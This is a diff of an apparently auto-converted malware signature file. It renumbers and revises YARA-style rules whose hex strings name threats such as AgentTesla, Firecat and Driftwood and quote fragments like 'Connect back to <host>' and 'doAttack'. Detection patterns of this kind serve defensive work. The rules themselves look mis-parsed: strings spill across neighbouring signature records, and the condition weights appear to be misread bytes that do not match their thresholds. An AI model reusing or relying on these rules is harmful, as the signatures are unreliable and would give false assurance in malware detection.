80 01 72 65 70 61 63 6b 01 00 11 80 01 4c 52 45 50 41 43 4b 53 53 49 54 45 43 4c 49 43 4b 01 00 0b 80 01 6c 72 65 70 61 63 6b 73 2e 72 } //22089 - $a_74_5 = {3a 2f 2f 6c 72 65 70 61 63 6b 2e 63 6f 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 34 21 4d 54 42 00 01 00 25 01 24 42 37 42 37 36 35 42 35 2d 45 33 37 45 2d 34 30 37 32 2d 41 45 37 36 2d 30 33 37 41 30 34 35 36 36 42 33 44 01 00 09 01 42 6c 6f 63 6b 43 } //18433 - $a_01_6 = {00 08 01 54 6f 42 69 74 6d 61 70 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 0a 01 67 65 74 5f 49 73 42 75 73 79 01 00 07 01 54 6f 41 72 72 61 79 01 00 07 01 52 65 76 65 72 73 65 01 00 06 01 43 6f 6e 63 61 74 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 53 44 39 35 38 21 4d } //28783 + $a_01_1 = {00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 07 01 54 6f 41 72 72 61 79 01 00 08 01 47 65 74 54 79 70 65 73 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 ac 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //27746 + $a_2e_2 = {4a 4e 31 21 4d 54 42 00 01 00 13 81 01 73 69 6b 6b 65 72 68 65 64 73 61 66 64 6b 6e 69 6e 67 73 01 00 10 81 01 66 6f 72 66 61 74 6e 69 6e 67 73 62 72 75 64 73 01 00 0f 81 01 67 72 65 61 73 65 70 72 6f 6f 66 6e 65 73 73 01 00 0d 81 01 73 75 6c 66 75 72 79 6c 73 2e 65 78 65 01 00 11 81 01 6b 6f 6d 70 72 6f 6d 69 74 74 79 64 72 2e 65 78 65 01 } //25956 + $a_01_3 = {74 61 72 6d 65 6e 65 73 01 00 0a 81 01 65 72 72 61 74 69 63 69 73 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 72 61 63 6b 21 4d 54 42 2e 4d 4b 00 01 00 08 80 01 75 73 65 72 6e 61 6d 65 01 00 08 80 01 50 61 73 73 77 6f 72 64 01 00 0a 80 01 4f 4e 41 43 54 49 56 41 54 45 01 00 0c 80 01 4f 4e 44 45 41 43 54 49 56 41 54 45 01 00 } //2048 + $a_72_4 = {70 } //-32762 p + $a_01_5 = {00 11 80 01 4c 52 45 50 41 43 4b 53 53 49 54 45 43 4c 49 43 4b 01 00 0b 80 01 6c 72 65 70 61 63 6b 73 2e 72 75 01 00 12 80 01 48 74 74 70 3a 2f 2f 6c 72 65 70 61 63 6b 2e 63 6f 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 34 21 } //25441 + $a_00_6 = {01 00 25 01 24 42 37 42 37 36 35 42 35 2d 45 33 37 45 2d 34 30 37 32 2d 41 45 37 36 2d 30 33 37 41 30 34 35 36 36 42 33 44 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 08 01 54 6f 42 69 74 6d 61 70 } //21581 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27746+(#a_43_2 & 1)*12851+(#a_54_3 & 1)*22089+(#a_74_5 & 1)*18433+(#a_01_6 & 1)*28783) >=7 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27746+(#a_2e_2 & 1)*25956+(#a_01_3 & 1)*2048+(#a_72_4 & 1)*-32762+(#a_01_5 & 1)*25441+(#a_00_6 & 1)*21581) >=7 } -rule _InfrastructureShared_11990{ +rule _InfrastructureShared_12777{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4e 31 21 4d 54 42 00 01 00 13 81 01 73 69 6b 6b 65 72 68 65 64 73 61 66 64 6b 6e 69 6e 67 73 01 00 10 81 01 66 6f 72 66 61 74 6e 69 6e 67 73 62 72 75 64 73 01 00 0f 81 01 67 72 65 61 73 65 70 72 } //18467 + $a_6e_1 = {73 73 01 00 0d 81 01 73 75 6c 66 75 72 79 6c 73 2e 65 78 65 01 00 11 81 01 6b 6f 6d 70 72 6f 6d 69 74 74 79 64 72 2e 65 78 65 01 00 08 81 01 74 61 72 6d 65 6e 65 73 01 00 0a 81 01 65 72 72 61 74 69 63 69 73 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 } //28527 + $a_61_2 = {6b 21 4d 54 42 2e 4d 4b 00 01 00 08 80 01 75 73 65 72 6e 61 6d 65 01 00 08 80 01 50 61 73 73 77 6f 72 64 01 00 0a 80 01 4f 4e 41 43 54 49 56 41 54 45 01 00 0c 80 01 4f 4e 44 45 41 43 54 49 56 41 54 45 01 00 06 80 01 72 65 70 61 63 6b 01 00 11 80 01 4c 52 45 50 41 43 4b 53 53 49 54 45 43 4c 49 43 4b 01 00 0b 80 01 6c 72 65 70 61 63 6b 73 2e } //17199 + $a_00_3 = {12 } //30066 + $a_74_4 = {70 3a 2f 2f 6c 72 65 70 61 63 6b 2e 63 6f 6d 00 00 78 ac 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 34 21 4d 54 42 00 01 00 25 01 24 42 } //384 + $a_36_5 = {42 35 2d 45 33 37 45 2d 34 30 37 32 2d 41 45 37 36 2d 30 33 37 41 30 34 35 36 36 42 33 44 01 00 09 01 42 6c 6f 63 6b 43 6f 70 79 01 00 08 01 54 6f 42 69 74 6d 61 70 } //16951 + $a_01_6 = {47 65 74 4d 65 74 68 6f 64 } //1 GetMethod + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28527+(#a_61_2 & 1)*17199+(#a_00_3 & 1)*30066+(#a_74_4 & 1)*384+(#a_36_5 & 1)*16951+(#a_01_6 & 1)*1) >=7 + +} +rule _InfrastructureShared_12778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -132902,7 +141790,7 @@ rule _InfrastructureShared_11990{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*17732+(#a_65_2 & 1)*27695+(#a_6f_3 & 1)*264+(#a_61_4 & 1)*28530+(#a_72_5 & 1)*25945+(#a_74_6 & 1)*25972) >=8 } -rule _InfrastructureShared_11991{ +rule _InfrastructureShared_12779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -132918,7 +141806,7 @@ rule _InfrastructureShared_11991{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*265+(#a_6e_3 & 1)*17153+(#a_55_4 & 1)*18224+(#a_65_5 & 1)*25441+(#a_6b_6 & 1)*25960+(#a_c0_7 & 1)*16644) >=8 } -rule _InfrastructureShared_11992{ +rule _InfrastructureShared_12780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -132935,7 +141823,7 @@ rule _InfrastructureShared_11992{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*16970+(#a_00_2 & 1)*25701+(#a_65_3 & 1)*385+(#a_65_4 & 1)*21505+(#a_ac_5 & 1)*0+(#a_24_6 & 1)*-29951+(#a_68_7 & 1)*29282) >=8 } -rule _InfrastructureShared_11993{ +rule _InfrastructureShared_12781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " @@ -132951,7 +141839,7 @@ rule _InfrastructureShared_11993{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24400+(#a_00_3 & 1)*0+(#a_6a_4 & 1)*29268+(#a_81_5 & 1)*400+(#a_04_6 & 1)*-28478+(#a_83_7 & 1)*-16247) >=9 } -rule _InfrastructureShared_11994{ +rule _InfrastructureShared_12782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -132961,7 +141849,7 @@ rule _InfrastructureShared_11994{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_11995{ +rule _InfrastructureShared_12783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -132980,7 +141868,7 @@ rule _InfrastructureShared_11995{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25205+(#a_4d_2 & 1)*13619+(#a_90_3 & 1)*4127+(#a_49_4 & 1)*-32759+(#a_44_5 & 1)*25445+(#a_00_7 & 1)*14+(#a_53_8 & 1)*14958+(#a_73_9 & 1)*21087+(#a_45_10 & 1)*11890) >=11 } -rule _InfrastructureShared_11996{ +rule _InfrastructureShared_12784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -132991,7 +141879,7 @@ rule _InfrastructureShared_11996{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078) >=12 } -rule _InfrastructureShared_11997{ +rule _InfrastructureShared_12785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0c 00 04 00 21 " @@ -133002,7 +141890,7 @@ rule _InfrastructureShared_11997{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25972) >=12 } -rule _InfrastructureShared_11998{ +rule _InfrastructureShared_12786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -133010,26 +141898,35 @@ rule _InfrastructureShared_11998{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 52 21 4d 54 42 00 0a 00 2b 02 25 16 03 a2 25 0d 14 14 17 8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d 02 2b 0a 09 16 9a 28 90 01 04 10 01 90 00 01 00 13 } //18467 $a_65_1 = {5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 01 00 0b 80 01 53 69 6d 70 6c 65 55 49 2e 41 42 00 00 78 ac 00 00 11 00 11 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 61 } //384 $a_72_2 = {4e 45 41 41 21 4d 54 42 00 05 00 11 01 02 7e 01 00 00 04 7b 0b 00 00 0a 28 0c 00 00 0a 26 05 00 3d 01 70 3a 5c 44 6f 63 47 65 6e 65 72 61 74 69 6e 67 53 69 67 6e 69 6e 67 5c 53 68 65 6c 6c 63 6f 64 65 44 6f 63 5c 77 65 62 5c 62 69 6e 5c 57 69 58 5c 54 65 73 74 5c 74 65 73 74 2e 63 73 05 00 0b 01 74 65 } //29810 - $a_63_3 = {2e 64 6c 6c 02 00 18 01 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 ac 00 00 f4 01 f4 01 05 00 21 23 } //29811 - $a_50_4 = {52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 4d 69 63 43 68 65 63 6b 2e 41 21 64 68 61 00 64 00 1a 01 6c 6f 63 6b 2f 73 72 63 2f 64 64 6f 73 2e 28 2a 44 44 6f 53 29 2e 53 74 6f 70 } //19521 + $a_63_3 = {2e 64 6c 6c 02 00 18 01 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 ac 00 00 1e 00 1e 00 02 00 21 23 } //29811 + $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 44 21 4d 54 42 00 14 00 2d 03 0f be 15 a3 d6 32 00 0f be c8 0f af d1 c1 e2 03 e8 90 01 04 0f be c8 2b d1 e8 90 01 04 0f be c8 03 d1 0f be 0d 44 9a 32 00 03 ca 90 00 0a } //17748 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_72_2 & 1)*29810+(#a_63_3 & 1)*29811+(#a_50_4 & 1)*19521) >=14 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_72_2 & 1)*29810+(#a_63_3 & 1)*29811+(#a_3a_4 & 1)*17748) >=14 } -rule _InfrastructureShared_11999{ +rule _InfrastructureShared_12787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 61 72 74 65 72 2e 4e 45 41 41 21 4d 54 42 00 05 00 11 01 02 7e 01 00 00 04 7b 0b 00 00 0a 28 0c 00 00 0a 26 05 00 3d 01 70 3a 5c 44 6f 63 47 65 6e 65 72 61 74 69 6e } //21539 - $a_67_1 = {69 6e 67 5c 53 68 65 6c 6c 63 6f 64 65 44 6f 63 5c 77 65 62 5c 62 69 6e 5c 57 69 58 5c 54 65 73 74 5c 74 65 73 74 2e 63 73 05 00 0b 01 74 65 73 74 2e 63 73 2e 64 6c 6c 02 00 18 01 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 ac 00 00 f4 01 f4 01 05 00 21 23 41 4c 46 50 45 52 3a } //21351 - $a_6a_2 = {6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 4d 69 63 43 68 65 63 6b 2e 41 21 64 68 61 00 64 00 1a 01 6c 6f 63 6b 2f 73 72 63 2f 64 64 6f 73 2e 28 2a 44 44 6f 53 29 2e 53 74 6f 70 64 00 19 01 6c 6f 63 6b 2f 73 72 63 2f 64 64 6f 73 2e 28 2a 44 44 6f 53 29 2e 52 75 6e 64 00 11 01 6d 61 69 6e 2e 63 68 65 63 6b 54 61 72 67 65 } //29268 - $a_00_3 = {10 01 6d 61 69 6e 2e 71 75 6f 74 65 73 50 61 72 73 65 64 00 0d 01 6d 61 69 6e 2e 64 6f 41 74 74 61 63 6b 00 00 78 ad 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 6b 65 72 2e 58 47 21 62 69 74 00 01 00 78 01 1f 1a 0a 12 00 fe 16 1f } //29556 + $a_67_1 = {69 6e 67 5c 53 68 65 6c 6c 63 6f 64 65 44 6f 63 5c 77 65 62 5c 62 69 6e 5c 57 69 58 5c 54 65 73 74 5c 74 65 73 74 2e 63 73 05 00 0b 01 74 65 73 74 2e 63 73 2e 64 6c 6c 02 00 18 01 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 78 ac 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f } //21351 + $a_3a_2 = {69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 44 21 4d 54 42 00 14 00 2d 03 0f be 15 a3 d6 32 00 0f be c8 0f af d1 c1 e2 03 e8 90 01 04 0f be c8 2b d1 e8 90 01 04 0f be c8 03 d1 0f be 0d 44 9a 32 00 03 ca 90 00 0a 00 4e 01 48 8b 84 24 80 00 00 00 48 8b 8c 24 80 00 00 00 48 c1 f8 05 48 c1 e1 03 48 33 c8 f2 0f 11 44 24 28 48 8b 84 24 80 } //24938 condition: - ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*21351+(#a_6a_2 & 1)*29268+(#a_00_3 & 1)*29556) >=17 + ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*21351+(#a_3a_2 & 1)*24938) >=17 } -rule _InfrastructureShared_12000{ +rule _InfrastructureShared_12788{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 44 21 4d 54 42 00 14 00 2d 03 0f be 15 a3 d6 32 00 0f be c8 0f af d1 c1 e2 03 e8 90 01 04 0f be c8 2b d1 e8 90 01 04 0f be c8 03 d1 0f be 0d 44 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=30 + +} +rule _InfrastructureShared_12789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -133043,7 +141940,7 @@ rule _InfrastructureShared_12000{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*25455+(#a_57_2 & 1)*31088+(#a_1f_3 & 1)*0+(#a_6f_4 & 1)*26209) >=500 } -rule _InfrastructureShared_12001{ +rule _InfrastructureShared_12790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133053,7 +141950,7 @@ rule _InfrastructureShared_12001{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12002{ +rule _InfrastructureShared_12791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133063,7 +141960,7 @@ rule _InfrastructureShared_12002{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12003{ +rule _InfrastructureShared_12792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133073,7 +141970,7 @@ rule _InfrastructureShared_12003{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12004{ +rule _InfrastructureShared_12793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133083,7 +141980,7 @@ rule _InfrastructureShared_12004{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12005{ +rule _InfrastructureShared_12794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133093,7 +141990,7 @@ rule _InfrastructureShared_12005{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_12006{ +rule _InfrastructureShared_12795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -133104,7 +142001,7 @@ rule _InfrastructureShared_12006{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*400) >=1 } -rule _InfrastructureShared_12007{ +rule _InfrastructureShared_12796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -133115,7 +142012,7 @@ rule _InfrastructureShared_12007{ ((#a_46_0 & 1)*16675+(#a_62_2 & 1)*14081) >=1 } -rule _InfrastructureShared_12008{ +rule _InfrastructureShared_12797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133126,7 +142023,7 @@ rule _InfrastructureShared_12008{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*17862) >=2 } -rule _InfrastructureShared_12009{ +rule _InfrastructureShared_12798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133137,7 +142034,7 @@ rule _InfrastructureShared_12009{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585) >=2 } -rule _InfrastructureShared_12010{ +rule _InfrastructureShared_12799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133148,7 +142045,7 @@ rule _InfrastructureShared_12010{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*-30362) >=2 } -rule _InfrastructureShared_12011{ +rule _InfrastructureShared_12800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133159,7 +142056,7 @@ rule _InfrastructureShared_12011{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*1803) >=2 } -rule _InfrastructureShared_12012{ +rule _InfrastructureShared_12801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133170,7 +142067,7 @@ rule _InfrastructureShared_12012{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29952) >=2 } -rule _InfrastructureShared_12013{ +rule _InfrastructureShared_12802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133181,7 +142078,7 @@ rule _InfrastructureShared_12013{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*22551) >=2 } -rule _InfrastructureShared_12014{ +rule _InfrastructureShared_12803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133192,7 +142089,7 @@ rule _InfrastructureShared_12014{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*3603) >=2 } -rule _InfrastructureShared_12015{ +rule _InfrastructureShared_12804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133203,7 +142100,7 @@ rule _InfrastructureShared_12015{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*185) >=2 } -rule _InfrastructureShared_12016{ +rule _InfrastructureShared_12805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133213,7 +142110,7 @@ rule _InfrastructureShared_12016{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12017{ +rule _InfrastructureShared_12806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -133224,7 +142121,7 @@ rule _InfrastructureShared_12017{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-246) >=2 } -rule _InfrastructureShared_12018{ +rule _InfrastructureShared_12807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -133236,7 +142133,7 @@ rule _InfrastructureShared_12018{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*73+(#a_ad_2 & 1)*0) >=2 } -rule _InfrastructureShared_12019{ +rule _InfrastructureShared_12808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -133247,20 +142144,33 @@ rule _InfrastructureShared_12019{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109) >=2 } -rule _InfrastructureShared_12020{ +rule _InfrastructureShared_12809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 69 72 65 63 61 74 2e 41 00 01 00 09 01 46 69 72 65 43 61 74 20 76 01 00 36 01 43 6f 6e 6e 65 63 74 69 6f 6e 73 20 74 6f 20 74 68 69 73 20 70 6f 72 74 20 77 69 6c 6c 20 62 65 20 66 } //16675 - $a_61_1 = {64 65 64 20 6f 76 65 72 20 74 75 6e 6e 65 6c 01 00 20 01 43 6f 6e 6e 65 63 74 20 62 61 63 6b 20 74 6f 20 3c 68 6f 73 74 3e 20 28 79 6f 75 72 20 49 50 29 01 00 17 01 43 68 61 6c 6c 65 6e 67 65 3a 20 25 73 20 28 6c 65 6e 3a 20 25 64 29 00 00 78 ad 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 72 69 66 74 77 6f 6f 64 } //29295 - $a_64_2 = {61 00 01 00 23 81 01 54 68 65 20 65 78 70 6c 6f 69 74 20 73 74 61 72 74 73 20 69 6e 20 66 69 76 65 } //16942 - $a_63_3 = {6e 64 73 21 01 00 26 81 01 31 2e 20 43 68 65 63 6b 20 63 6f 6e 73 6f 6c 65 20 69 6e 74 65 67 72 69 74 79 20 6c 65 76 65 6c 20 75 73 69 6e 67 01 00 29 81 01 32 2e 20 43 68 65 63 6b 20 49 4c 20 61 67 61 69 6e 20 61 66 74 65 72 20 46 49 56 45 28 21 21 21 29 20 73 65 63 6f 6e 64 73 00 00 78 ad 00 00 03 00 } //29472 + $a_61_1 = {64 65 64 20 6f 76 65 72 20 74 75 6e 6e 65 6c 01 00 20 01 43 6f 6e 6e 65 63 74 20 62 61 63 6b 20 74 6f 20 3c 68 6f 73 74 3e 20 28 79 6f 75 72 20 49 50 29 01 00 17 01 43 68 61 6c 6c 65 6e 67 65 3a 20 25 73 20 28 6c 65 6e 3a 20 25 64 29 00 00 78 ad 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 73 6f 6c 61 74 65 } //29295 + $a_69_2 = {2e 42 21 64 68 61 00 01 00 1b 01 53 65 72 76 65 72 20 73 74 61 72 74 65 64 20 6f 6e 20 70 6f 72 74 20 25 64 20 0a 01 00 1b 01 0a 52 65 73 70 6f 6e 73 65 20 28 25 64 20 62 79 74 65 73 29 3a 0a 25 2e 2a 73 0a 01 00 22 01 68 74 74 70 73 5f 73 69 7a 65 00 68 74 74 70 73 5f 64 61 74 61 00 70 61 63 } //24899 + $a_5f_3 = {69 7a 65 00 01 00 14 40 8d 46 05 66 c7 06 17 03 50 c6 46 02 03 88 4e 03 88 5e 04 e8 00 00 78 ad 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 72 69 66 74 77 6f 6f 64 2e 42 21 64 68 61 00 01 00 23 81 01 54 68 65 20 65 78 70 6c 6f 69 74 20 73 74 61 72 74 73 20 } //25963 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29295+(#a_64_2 & 1)*16942+(#a_63_3 & 1)*29472) >=2 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29295+(#a_69_2 & 1)*24899+(#a_5f_3 & 1)*25963) >=2 } -rule _InfrastructureShared_12021{ +rule _InfrastructureShared_12810{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 73 6f 6c 61 74 65 43 61 62 69 6e 2e 42 21 64 68 61 00 01 00 1b 01 53 65 72 76 65 72 20 73 74 61 72 74 65 64 20 6f 6e 20 70 6f 72 74 20 25 64 20 0a 01 00 1b 01 0a 52 65 73 70 6f } //16675 + $a_20_1 = {25 64 20 62 79 74 65 73 29 3a 0a 25 2e 2a 73 0a 01 00 22 01 68 74 74 70 73 5f 73 69 7a 65 00 68 74 74 70 73 5f 64 61 74 61 00 70 61 63 6b 65 64 5f 73 69 7a 65 00 01 00 14 40 8d 46 05 66 c7 06 17 03 50 c6 46 02 03 88 4e 03 88 5e 04 e8 00 00 78 ad 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f } //29550 + $a_57_2 = {6e 33 32 2f 44 72 69 66 74 77 6f 6f 64 2e 42 21 64 68 61 00 01 00 23 81 01 54 68 65 20 65 78 70 6c 6f 69 74 20 73 74 61 72 74 73 20 69 6e 20 66 69 76 65 20 73 65 63 6f 6e 64 } //29801 + $a_00_3 = {26 } //8563 & + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29550+(#a_57_2 & 1)*29801+(#a_00_3 & 1)*8563) >=2 + +} +rule _InfrastructureShared_12811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -133272,7 +142182,7 @@ rule _InfrastructureShared_12021{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*8238+(#a_20_2 & 1)*8481) >=3 } -rule _InfrastructureShared_12022{ +rule _InfrastructureShared_12812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -133283,7 +142193,7 @@ rule _InfrastructureShared_12022{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*56) >=3 } -rule _InfrastructureShared_12023{ +rule _InfrastructureShared_12813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -133294,7 +142204,7 @@ rule _InfrastructureShared_12023{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*1025) >=3 } -rule _InfrastructureShared_12024{ +rule _InfrastructureShared_12814{ meta: description = 